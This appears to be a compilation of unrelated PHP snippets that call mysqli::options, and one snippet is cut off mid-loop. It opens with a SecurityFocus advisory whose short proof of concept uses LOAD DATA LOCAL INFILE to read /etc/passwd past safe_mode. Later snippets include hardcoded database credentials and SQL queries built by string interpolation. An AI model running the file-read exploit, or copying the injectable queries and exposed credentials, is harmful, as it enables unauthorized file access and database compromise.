source: http://www.securityfocus.com/bid/4026/info PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled. In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode'). <?php function r($fp, &$buf, $len, &$err) { print fread($fp, $len); } $m = new mysqli('localhost', 'aaaa', '', 'a'); $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close();
/** * Connect to the db * * MySQLi can connect using SSL if $config contains an 'ssl' sub-array * containing the following keys: * + key The path to the key file. * + cert The path to the certificate file. * + ca The path to the certificate authority file. * + capath The path to a directory that contains trusted SSL * CA certificates in pem format. * + cipher The list of allowable ciphers for SSL encryption. * * Example of how to connect using SSL: * <code> * $config = array( * 'username' => 'someuser', * 'password' => 'apasswd', * 'hostspec' => 'localhost', * 'database' => 'thedb', * 'ssl' => array( * 'key' => 'client-key.pem', * 'cert' => 'client-cert.pem', * 'ca' => 'cacert.pem', * 'capath' => '/path/to/ca/dir', * 'cipher' => 'AES', * ), * ); * * $db = new Horde_Db_Adapter_Mysqli($config); * </code> */ public function connect() { $config = $this->_parseConfig(); if (!empty($config['ssl'])) { $mysqli = mysqli_init(); $mysqli->ssl_set(empty($config['ssl']['key']) ? null : $config['ssl']['key'], empty($config['ssl']['cert']) ? null : $config['ssl']['cert'], empty($config['ssl']['ca']) ? null : $config['ssl']['ca'], empty($config['ssl']['capath']) ? null : $config['ssl']['capath'], empty($config['ssl']['cipher']) ? null : $config['ssl']['cipher']); $mysqli->real_connect($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']); } else { $oldErrorReporting = error_reporting(0); $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']); error_reporting($oldErrorReporting); } if (mysqli_connect_errno()) { throw new Horde_Db_Exception('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno()); } // If supported, request real datatypes from MySQL instead of returning // everything as a string. if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) { $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true); } $this->_connection = $mysqli; $this->_active = true; }
/** * @param array $params * @return int */ public function setConnectionOptions(MysqliDriver $driver, array $data) { if (isset($data['connect-timeout'])) { $seconds = $data['connect-timeout']; if (!is_int($seconds) || $seconds < 0) { $err = 'MYSQLI_OPT_CONNECT_TIMEOUT must be a postive integer'; throw new InvalidArgumentException($err); } $driver->options(MYSQLI_OPT_CONNECT_TIMEOUT, $seconds); } if (isset($data['init-command'])) { $cmd = $data['init-command']; if (!is_string($cmd) || empty($cmd)) { $err = 'MYSQLI_INIT_COMMAND must be an non empty string'; throw new InvalidArgumentException($err); } $driver->options(MYSQLI_INIT_COMMAND, $cmd); } if (isset($data['is-local-infile'])) { $isLocal = true === $data['is-local-infile'] ? true : false; $driver->options(MYSQLI_OPT_LOCAL_INFILE, $isLocal); } if (isset($data['read-default-file'])) { $file = $data['read-default-file']; if (!is_string($file) || empty($file)) { $err = 'MYSQLI_READ_DEFAULT_FILE must be a non empty string'; throw new InvalidArgumentException($err); } $driver->options(MYSQLI_READ_DEFAULT_FILE, $file); } if (isset($data['read-default-group'])) { $group = $data['read-default-group']; if (!is_string($group) || empty($group)) { $err = 'MYSQLI_READ_DEFAULT_GROUP must be a non empty string'; throw new InvalidArgumentException($err); } $driver->options(MYSQLI_READ_DEFAULT_GROUP, $file); } }
public function get() { $mysql = $this->internal_mysql; if (!$mysql instanceof MySQLi) { if (!$this->port) { $this->port = ini_get('mysqli.default_port'); } $this->current_db = $this->dbName; $mysql = new mysqli(); $connect_flags = 0; if ($this->ssl['key']) { $mysql->ssl_set($this->ssl['key'], $this->ssl['cert'], $this->ssl['ca_cert'], $this->ssl['ca_path'], $this->ssl['cipher']); $connect_flags |= MYSQLI_CLIENT_SSL; } foreach ($this->connect_options as $key => $value) { $mysql->options($key, $value); } // suppress warnings, since we will check connect_error anyway @$mysql->real_connect($this->host, $this->user, $this->password, $this->dbName, $this->port, null, $connect_flags); if ($mysql->connect_error) { $this->nonSQLError('Unable to connect to MySQL server! Error: ' . $mysql->connect_error); } $mysql->set_charset($this->encoding); $this->internal_mysql = $mysql; $this->server_info = $mysql->server_info; } return $mysql; }
/** * Creates a PDO object and connects to the database. * * @return void * @throws \mysqli_sql_exception */ protected function _connect() { if ($this->_profiler) { $q = $this->_profiler->queryStart('connect', Profiler::CONNECT); } $config = $this->_config; if (!empty($config['driver_options'])) { foreach ($config['driver_options'] as $option => $value) { parent::options($option, $value); } } //try {省略throw-catch-rethrow块,直接抛出\mysqli_sql_exception parent::real_connect((empty($config['persistent']) ? '' : 'p:') . (isset($config['host']) ? $config['host'] : ini_get("mysqli.default_host")), isset($config['username']) ? $config['username'] : ini_get("mysqli.default_user"), isset($config['password']) ? $config['password'] : ini_get("mysqli.default_pw"), isset($config['dbname']) ? $config['dbname'] : "", isset($config['port']) ? $config['port'] : ini_get("mysqli.default_port"), isset($config['socket']) ? $config['socket'] : ini_get("mysqli.default_socket")); if ($this->connect_errno) { throw new ConnectException($this->connect_error, $this->connect_errno); } $this->_isConnected = true; if ($this->_profiler) { $this->_profiler->queryEnd($q); } if (!empty($config['charset'])) { parent::set_charset($config['charset']); } }
public function open() { if ($this->connected) { return false; } $this->mysqli = mysqli_init(); $this->connected = @$this->mysqli->real_connect($this->settings->getHost(), $this->settings->getUsername(), $this->settings->getPassword(), $this->settings->getSchema()); if (!$this->connected) { throw new ConnectionException(sprintf('Unable to connect to host "%s" as user "%s". %s.', $this->settings->getHost(), $this->settings->getUsername(), mysqli_connect_error()), '', mysqli_connect_errno()); } @$this->mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1); @$this->mysqli->set_charset($this->settings->getCharset()); return true; }
/** * Connect to the database server and select the database * * @throws \Exception If the connection cannot be established */ protected function connect() { $host = $this->arrConfig['dbHost']; if ($this->arrConfig['dbPconnect']) { $host = 'p:' . $host; } $this->resConnection = mysqli_init(); $this->resConnection->options(MYSQLI_INIT_COMMAND, "SET sql_mode='" . $this->arrConfig['dbSqlMode'] . "'"); $this->resConnection->real_connect($host, $this->arrConfig['dbUser'], $this->arrConfig['dbPass'], $this->arrConfig['dbDatabase'], $this->arrConfig['dbPort'], $this->arrConfig['dbSocket']); if ($this->resConnection->connect_error) { throw new \Exception($this->resConnection->connect_error); } $this->resConnection->set_charset($this->arrConfig['dbCharset']); }
function getConnection(MySQLConnection $connection, $inTransaction) { if ($this->isConnected()) { return $this->mysqli; } $this->mysqli = mysqli_init(); $this->mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 2); //Connect - With compression $connection_status = mysqli_real_connect($this->mysqli, $this->host, $this->user, $this->pass, $this->db, $this->port, null, $this->compression ? MYSQLI_CLIENT_COMPRESS : 0); if (!$connection_status) { $this->mysqli = null; throw new ConnectionException($connection->__toString(), $connection->error()); } return $this->mysqli; }
function getConn() { $conn = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); $conn->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1); $conn->query("SET NAMES utf8"); return $conn; }
/** * Create a new Mysqli object. * * @param array $params * @return object */ public function __construct($key) { mysqli_report(MYSQLI_REPORT_STRICT); $params = Config::get('mysql.' . $key); if ($params === null && IS_SUBSITE) { $params = MainConfig::get('mysql.' . $key); } if ($params === null) { $params = []; } parent::init(); $params['pass'] = isset($params['pass']) ? $params['pass'] : ''; $params['user'] = isset($params['user']) ? $params['user'] : '******'; $params['host'] = isset($params['host']) ? $params['host'] : '127.0.0.1'; $params['port'] = isset($params['port']) ? $params['port'] : 3306; $params['timeout'] = isset($params['timeout']) ? $params['timeout'] : 30; $params['charset'] = isset($params['charset']) ? $params['charset'] : 'utf8'; $params['database'] = isset($params['database']) ? $params['database'] : false; parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, $params['timeout']); parent::real_connect($params['host'], $params['user'], $params['pass'], $params['database'], $params['port']); if ($this->errno === 0) { $this->set_charset($params['charset']); if (isset($params['cache']) && $params['cache'] === false) { $this->cache(false); } } }
/** * Connect to db, return connect identifier * * @param string $dbhost, The MySQL server hostname. * @param string $dbuser, The username. * @param string $dbpass, The password. * @param string $dbname, The db name, optional, defualt to '' * @param string $dbport, The MySQL server port, optional, defualt to '3306' * @param string $charset, Connect charset, optional, default to 'utf8' * @param bool $pconnect, Whether persistent connection: 1 - Yes, 0 - No * @return link_identifier */ function connect($dbhost, $dbuser, $dbpass, $dbname = '', $dbport = '3306', $charset = 'utf8', $pconnect = 0) { if ($pconnect && version_compare(PHP_VERSION, '5.3.0', '>=')) { //PHP since 5.3.0 added the ability of persistent connections. $dbhost = 'p:' . $dbhost; } //$mysqli = mysqli_init(); $mysqli = new mysqli(); if (!$mysqli) { $this->halt('mysqli_init failed'); } //$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0'); $mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, $this->connTimeout); // - TRUE makes mysql_connect() always open a new link, even if // mysql_connect() was called before with the same parameters. // This is important if you are using two databases on the same // server. // - 2 means CLIENT_FOUND_ROWS: return the number of found // (matched) rows, not the number of affected rows. if (!@$mysqli->real_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport, null, MYSQLI_CLIENT_COMPRESS | MYSQLI_CLIENT_FOUND_ROWS)) { $this->halt("Connect to {$dbuser}@{$dbhost}:{$dbport} Error: ({$mysqli->connect_errno}){$mysqli->connect_error}"); } $mysqli->set_charset($charset); $this->linkId = $mysqli; return $this->linkId; }
/** * Creates a real connection to the database with multi-query capability. * * @return void * @throws Zend_Db_Adapter_Mysqli_Exception */ protected function _connect() { if ($this->_connection) { return; } if (!extension_loaded('mysqli')) { throw new Zend_Db_Adapter_Exception('mysqli extension is not installed'); } // Suppress connection warnings here. // Throw an exception instead. @($conn = new mysqli()); if (false === $conn || mysqli_connect_errno()) { throw new Zend_Db_Adapter_Mysqli_Exception(mysqli_connect_errno()); } $conn->init(); $conn->options(MYSQLI_OPT_LOCAL_INFILE, true); #$conn->options(MYSQLI_CLIENT_MULTI_QUERIES, true); $port = !empty($this->_config['port']) ? $this->_config['port'] : null; $socket = !empty($this->_config['unix_socket']) ? $this->_config['unix_socket'] : null; // socket specified in host config if (strpos($this->_config['host'], '/') !== false) { $socket = $this->_config['host']; $this->_config['host'] = null; } elseif (strpos($this->_config['host'], ':') !== false) { list($this->_config['host'], $port) = explode(':', $this->_config['host']); } #echo "<pre>".print_r($this->_config,1)."</pre>"; die; @$conn->real_connect($this->_config['host'], $this->_config['username'], $this->_config['password'], $this->_config['dbname'], $port, $socket); if (mysqli_connect_errno()) { throw new Zend_Db_Adapter_Mysqli_Exception(mysqli_connect_error()); } $this->_connection = $conn; /** @link http://bugs.mysql.com/bug.php?id=18551 */ $this->_connection->query("SET SQL_MODE=''"); }
/** * Executes Command after when connecting to MySQL server * @param string $command Command to execute */ public function initCommand($command) { if (!empty($command)) { $this->query($command); $this->conn->options(MYSQLI_INIT_COMMAND, $command); } }
/** * Constructor for the MySQLi Extension * * Throws an exception when connection fails * * @param $Host * The hostname/ip address of the database server * * @param $Port * The port on which the database server is listening * * @param $UserName * A UserName which has access to the database we'll be using. * * @param $Password * The Password for the UserName provided * * @param $Database * The Database which contains the Neflaria tables * * @throws Exception */ public function __construct($Host, $UserName, $Password, $Database, $Port) { parent::init(); if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { $this->LogError('?', 'Setting the connect timeout failed'); } if (!parent::real_connect($Host, $UserName, $Password, $Database, $Port)) { $this->LogError(mysqli_connect_errno(), mysqli_connect_error()); } }
/** * @param QuarkURI $uri * * @return mixed * * @throws QuarkArchException * @throws QuarkConnectionException */ public function Connect(QuarkURI $uri) { $this->_connection = \mysqli_init(); if (!$this->_connection) { throw new QuarkArchException('MySQLi initialization fault'); } $options = $uri->options; if (is_array($options)) { foreach ($options as $key => $value) { if (!$this->_connection->options($key, $value)) { throw new QuarkArchException('MySQLi option set error'); } } } if (!$this->_connection->real_connect($uri->host, $uri->user, $uri->pass, QuarkSQL::DBName($uri->path), (int) $uri->port)) { throw new QuarkConnectionException($uri, Quark::LOG_FATAL); } $this->_sql = new QuarkSQL($this); }
public function __construct($host = '127.0.0.1', $username = '******', $password = '******', $dbname = 'web_train') { parent::init(); if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { die('Setting options failed'); } if (!parent::real_connect($host, $username, $password, $dbname)) { die('Connect to db failed'); } parent::query('set names utf8'); }
private final function __construct() { parent::init(); if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) { throw new Exception('Setting MYSQLI_INIT_COMMAND failed'); } if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { throw new Exception('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed'); } if (!parent::real_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME)) { throw new Exception('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error()); } }
/** * {@inheritDoc} */ protected function realSetAttribute($attribute, $value) { if (is_string($attribute)) { if (defined($attribute)) { $this->link->options(constant($attribute), $value); } else { throw new LogicException(Message::get(Message::DB_UNKNOWN_ATTRIBUTE, $attribute), Message::DB_UNKNOWN_ATTRIBUTE); } } else { $this->link->options($attribute, $value); } return $this; }
public function rcon($host, $user, $pass, $db) { parent::init(); if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) { die('Setting MYSQLI_INIT_COMMAND failed'); } if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed'); } #$db_connection = new mysqli('localhost', 'root', '', 'brechbuhler'); if (!parent::real_connect($host, $user, $pass, $db)) { die('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error()); } }
/** * Establish Database Connection * * @return void */ public function connect() { // Check Active Connections (Only Connect Once) $key = $this->user . '@' . $this->db . '@' . $this->host; if (isset(self::$connections[$key])) { // Use Active Connection $this->connection = self::$connections[$key]; } else { // Setup Connection $this->connection = mysqli_init(); if (!$this->connection) { die(Log::halt('mysqli_init failed', 503)); } // Set Database Timeout if (!$this->connection->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10)) { die(Log::halt('Setting Options Failed', 503)); } // Connect to Database if (!$this->connection->real_connect($this->host, $this->user, $this->pass, $this->db)) { die(Log::halt('Connect fatal error: could not connect to host - ' . mysqli_connect_error(), 503)); } // UTF-8 Character Set if (!$this->connection->set_charset('utf8')) { die(Log::halt('Error loading character set utf8 - ' . $this->connection->error, 503)); } // Set connection Timezone $timezone = @date_default_timezone_get(); if (!$this->connection->query("SET time_zone = '" . $timezone . "';")) { die(Log::halt('Error setting timezone to ' . $timezone . ' - ' . $this->connection->error, 503)); } // Debug Log: Connected to Database Log::db(__CLASS__, 'Connected To: ' . $this->db . '@' . $this->host); // Store Connection self::$connections[$key] = $this->connection; } }
/** * Connect to the db * * @return KDatabaseAdapterMysqli */ public function connect() { $oldErrorReporting = error_reporting(0); $mysqli = new mysqli($this->_options->host, $this->_options->username, $this->_options->password, $this->_options->database, $this->_options->port, $this->_options->socket); error_reporting($oldErrorReporting); if (mysqli_connect_errno()) { throw new KDatabaseAdapterException('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno()); } // If supported, request real datatypes from MySQL instead of returning everything as a string. if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) { $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true); } $this->_connection = $mysqli; $this->_active = true; return $this; }
<?php $con = new mysqli("103.21.59.166:3306", "appcom_sensor", "sensor123", "appcom_sensor_data"); if ($con->connect_errno) { printf("Connect failed: %s\n", $mysqli->connect_error); exit; } $con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500); $queryOfDeviceNo = "SELECT DISTINCT device_serial_no FROM trial_pollution"; $sql = mysqli_query($con, $queryOfDeviceNo); $device_serial_no = array(); while ($rowdata = mysqli_fetch_assoc($sql)) { $device_serial_no[] = $rowdata; } //mysqli_close($con); //echo json_encode($device_serial_no); date_default_timezone_set('Asia/Kolkata'); $currentDateTime = date("Y-m-d H:i:s"); foreach ($device_serial_no as $value) { $deviceSerailNo = implode(",", $value); $con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500); $queryOfAVG = "SELECT avg(pm2)as pm2 FROM trial_pollution \n WHERE sen_time >= DATE_SUB('{$currentDateTime}', INTERVAL 24 HOUR) AND device_serial_no='{$deviceSerailNo}' "; $isAvarage = mysqli_query($con, $queryOfAVG); $avgValue = mysqli_fetch_row($isAvarage); $Pm2AvgValue = $avgValue[0]; $currentDateTime = date("Y-m-d H:i:s"); $count = mysqli_num_rows($isAvarage); if ($count == 1) { $con->options(MYSQLI_OPT_CONNECT_TIMEOUT, 500); $query = "INSERT INTO sensorAverage(pm2,device_serial_no,time) VALUES ('{$Pm2AvgValue}','{$deviceSerailNo}','{$currentDateTime}') "; $isInserted = mysqli_query($con, $query);
} ?> </pre> Mostrando resultados y tipos de cadena <pre> Es posible convertir valores de columnas de tipo integer y float a números de PHP estableciendo la opción de conexión <strong>MYSQLI_OPT_INT_AND_FLOAT_NATIVE</strong>, si se esta´utilizando la biblioteca <strong>mysqlnd</strong>. Si se establece, la biblioteca mysqlnd comprobará los tipos de columna de los metadatos del conjunto de resultados y convertirá las columnas númerocas de SQL a números de PHP, si el rango de valores del tipo de datos de PHP lo permite. De esta forma, por ejemplo, las columnas INT de SQL son devueltas como enteros. <?php $mysqli = new mysqli(); $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1); $mysqli->real_connect("127.0.0.1", "root", "", "jcugarte"); if ($mysqli->connect_errno) { echo "Falló la conexión a MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error; } if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT, etiqueta CHAR(1))") || !$mysqli->query("INSERT INTO test(id, etiqueta) VALUES (1, 'a')")) { echo "Falló la creación de la tabla: (" . $mysqli->errno . ") " . $mysqli->error; } $resultado = $mysqli->query("SELECT id, etiqueta FROM test WHERE id = 1"); $fila = $resultado->fetch_assoc(); //echo json_encode($fila); printf("id = %s (%s)\n", $fila['id'], gettype($fila['id'])); printf("etiqueta = %s (%s)\n", $fila['etiqueta'], gettype($fila['etiqueta'])); ?> </pre>
/** * Set mysql options * * @param \mysqli $conn * @param array $options */ protected function setOptions(\mysqli $conn, $options) { foreach ($options as $option => $value) { $conn->options($option, $value); } }
/** * Connect * * @throws Exception\RuntimeException * @return $this */ public function connect() { if ($this->resource instanceof \mysqli) { return $this; } // localize $p = $this->connectionParameters; // given a list of key names, test for existence in $p $findParameterValue = function (array $names) use($p) { foreach ($names as $name) { if (isset($p[$name])) { return $p[$name]; } } return; }; $hostname = $findParameterValue(array('hostname', 'host')); $username = $findParameterValue(array('username', 'user')); $password = $findParameterValue(array('password', 'passwd', 'pw')); $database = $findParameterValue(array('database', 'dbname', 'db', 'schema')); $port = isset($p['port']) ? (int) $p['port'] : null; $socket = isset($p['socket']) ? $p['socket'] : null; $this->resource = new \mysqli(); $this->resource->init(); if (!empty($p['driver_options'])) { foreach ($p['driver_options'] as $option => $value) { if (is_string($option)) { $option = strtoupper($option); if (!defined($option)) { continue; } $option = constant($option); } $this->resource->options($option, $value); } } $this->resource->real_connect($hostname, $username, $password, $database, $port, $socket); if ($this->resource->connect_error) { throw new Exception\RuntimeException('Connection error', null, new Exception\ErrorException($this->resource->connect_error, $this->resource->connect_errno)); } if (!empty($p['charset'])) { $this->resource->set_charset($p['charset']); } return $this; }
<?php include "connect.inc"; $db1 = new mysqli(); // These calls fail $db1->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3); my_mysqli_real_connect($db1, $host, $user, $passwd, $db, $port, $socket); if (mysqli_connect_error()) { echo "error 1\n"; } else { echo "ok 1\n"; } $db2 = mysqli_init(); $db2->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3); my_mysqli_real_connect($db2, $host, $user, $passwd, $db, $port, $socket); if (mysqli_connect_error()) { echo "error 2\n"; } else { echo "ok 2\n"; } echo "done\n";
<?php session_start(); error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING); $mysqli = new mysqli(); if (!$mysqli) { die('mysqli_init failed'); } if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 1')) { die('Setting MYSQLI_INIT_COMMAND failed'); } $mysqli->options(MYSQLI_INIT_COMMAND, "SET NAMES 'utf8'"); if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { die('Setting MYSQLI_OPT_CONNECT_TIMEOUT failed'); } if (!$mysqli->real_connect($conf['dbhost'], $conf['dbuser'], $conf['dbpasswd'], $conf['dbname'], $conf['dbport'], $conf['dbpath'])) { die('Connect Error (' . mysqli_connect_errno() . ') ' . mysqli_connect_error()); } //print_r($mysqli->host_info); # GET/POST --> form $form = $_REQUEST; $mode = $form['mode'];
public function __construct($host, $user, $pass, $db) { parent::init(); if (!parent::options(MYSQLI_INIT_COMMAND, "SET AUTOCOMMIT = 1")) { throw new Error("MYSQLI_INIT_COMMAND Fail"); } if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) { throw new Error("MYSQLI_OPT_CONNECT_TIMEOUT Fail"); } if (!parent::real_connect($host, $user, $pass, $db)) { throw new Error("Connection ERROR. " . mysqli_connect_errno() . ": " . mysqli_connect_error()); } Debug("MySQL connection established"); }
function connect() { if ($this->connected) { return; } parent::init(); parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, $this->connect_timeout); if ($this->persistent && version_compare(PHP_VERSION, '5.3.0') > 0) { $this->connected = parent::real_connect('p:' . $this->dbhost, $this->dbuser, $this->dbpassword, $this->dbname, $this->port); } else { $this->connected = parent::real_connect($this->dbhost, $this->dbuser, $this->dbpassword, $this->dbname, $this->port); } if (!$this->connected) { header('HTTP/1.1 503 Service Unavailable'); die; } $this->set_charset('utf8'); if (!$this->ban_checked) { // Check the IP is not banned before doing anything more check_ip_noaccess(2); // 2 == don't check in cache $this->ban_checked = true; } if ($this->initial_query) { $this->query($this->initial_query); } }
/** * Connect to the db * * MySQLi can connect using SSL if $config contains an 'ssl' sub-array * containing the following keys: * + key The path to the key file. * + cert The path to the certificate file. * + ca The path to the certificate authority file. * + capath The path to a directory that contains trusted SSL * CA certificates in pem format. * + cipher The list of allowable ciphers for SSL encryption. * * Example of how to connect using SSL: * <code> * $config = array( * 'username' => 'someuser', * 'password' => 'apasswd', * 'hostspec' => 'localhost', * 'database' => 'thedb', * 'ssl' => array( * 'key' => 'client-key.pem', * 'cert' => 'client-cert.pem', * 'ca' => 'cacert.pem', * 'capath' => '/path/to/ca/dir', * 'cipher' => 'AES', * ), * ); * * $db = new Horde_Db_Adapter_Mysqli($config); * </code> */ public function connect() { if ($this->_active) { return; } $config = $this->_parseConfig(); if (!empty($config['ssl'])) { $mysqli = mysqli_init(); $mysqli->ssl_set(empty($config['ssl']['key']) ? null : $config['ssl']['key'], empty($config['ssl']['cert']) ? null : $config['ssl']['cert'], empty($config['ssl']['ca']) ? null : $config['ssl']['ca'], empty($config['ssl']['capath']) ? null : $config['ssl']['capath'], empty($config['ssl']['cipher']) ? null : $config['ssl']['cipher']); $mysqli->real_connect($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']); } else { $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['dbname'], $config['port'], $config['socket']); } if (mysqli_connect_errno()) { throw new Horde_Db_Exception('Connect failed: (' . mysqli_connect_errno() . ') ' . mysqli_connect_error(), mysqli_connect_errno()); } // If supported, request real datatypes from MySQL instead of returning // everything as a string. if (defined('MYSQLI_OPT_INT_AND_FLOAT_NATIVE')) { $mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, true); } $this->_connection = $mysqli; $this->_active = true; // Set the default charset. http://dev.mysql.com/doc/refman/5.1/en/charset-connection.html if (!empty($config['charset'])) { $this->setCharset($config['charset']); } $this->_hasMysqliFetchAll = function_exists('mysqli_fetch_all'); }